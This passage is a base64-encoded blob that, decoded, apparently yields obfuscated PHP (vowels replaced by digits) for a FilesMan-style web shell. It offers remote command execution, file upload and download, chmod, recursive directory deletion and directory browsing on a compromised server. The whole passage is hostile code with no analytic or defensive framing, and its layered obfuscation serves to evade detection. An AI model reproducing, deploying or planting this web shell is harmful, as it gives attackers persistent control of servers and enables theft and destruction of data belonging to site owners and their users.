HMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRklMRV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICA8dGQgdzRkdGg9J2E2JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZDRyJyB0eXA1PXQ1eHQgbjFtNT1kIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSdhYSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ2Q1bDV0NScsdGg0cy5kNWwudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5fX0RFTEVURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgdHlwNT10NXh0IG4xbTU9ZDVsIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSc2OSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ2NobTJkJyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fQ0hNT0RfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdkNHInIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0nYSc+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+X19DSEFOR0UgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZjIydHQxYmw1JyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgIDx0ZCBjMmxzcDFuPSdhJz48ZjJybSBtNXRoMmQ9J3Ayc3QnID48c3Axbj5fX0hUVFAgRE9XTkxPQURfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdmMjJ0dDFibDUnIHR5cDU9dDV4dCBuMW01PXJ0ZDJ3biB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdwcjJjJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fRVhFQ1VURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2YyMnR0MWJsNScgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjxiciAvPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPiANCiAgICAgIDwvdDFibDU+DQogIDwvZDR2Pg0KICA8L2IyZHk+DQo8L2h0bWw+DQoiOw0KICAgIA0KfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIG0xZFdoNGNoKCRwKSB7DQoJJHAxdGggPSBtMWRFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQoNCg0KZjNuY3Q0Mm4gbTFkUzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCg0KZjNuY3Q0Mm4gbTFkUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQpmM25jdDQybiBtMWRQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiBtMWRQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQoJZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQoJCSRkaCAgPSAycDVuZDRyKCRkNHIpOw0KCQl3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgIAkJJGY0bDVzW10gPSAkZjRsNW4xbTU7DQoJCXI1dDNybiAkZjRsNXM7DQoJfQ0KfQ0KDQoNCmYzbmN0NDJuIG0xZEY0bDVzTTFuKCkgew0KCW0xZGg1MWQoKTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzX2Q0cihAJF9QT1NUWydwYSddKSkNCgkJCQlkNWw1dDVENHIoQCRfUE9TVFsncGEnXSk7DQoJCQkJNWxzNQ0KCQkJCUAzbmw0bmsoQCRfUE9TVFsncGEnXSk7DQoJCQkJYnI1MWs7DQoJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJzxobz48c3Axbj58ICBBY2M1c3MgRDVuNDVkISB8PC9zcDFuPjwvaG8+PC9kNHY+JzttMWRGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiDQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnICA+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGg+TjFtNTwvdGg+PHRoPlM0ejU8L3RoPjx0aD5NMmQ0Znk8L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPlA1cm00c3M0Mm5zPC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IEBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IG0xZFA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgfDwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP20xZFM0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdkNWw1dDVcJywgXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcpIj4gWCA8LzE+PC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCg0KCQ0KICAgIG0xZGYyMnQ1cigpOw0KIH0NCiAgICANCiAgZjNuY3Q0Mm4gbTFkRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJDQogICBtMWRoNTFkKCk7DQoJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPkZJTEUgRE9FU1QgTk9UIEVYSVRTIDwvcHI1PjwvZDR2PiI7DQoJCW0xZEYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT9tMWRTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy5tMWRQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj48c3Axbj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj48c3Axbj4gJy4kdi4nIDwvc3Axbj4gPC9iPic6JHYpLicgPC9zcDFuPjwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I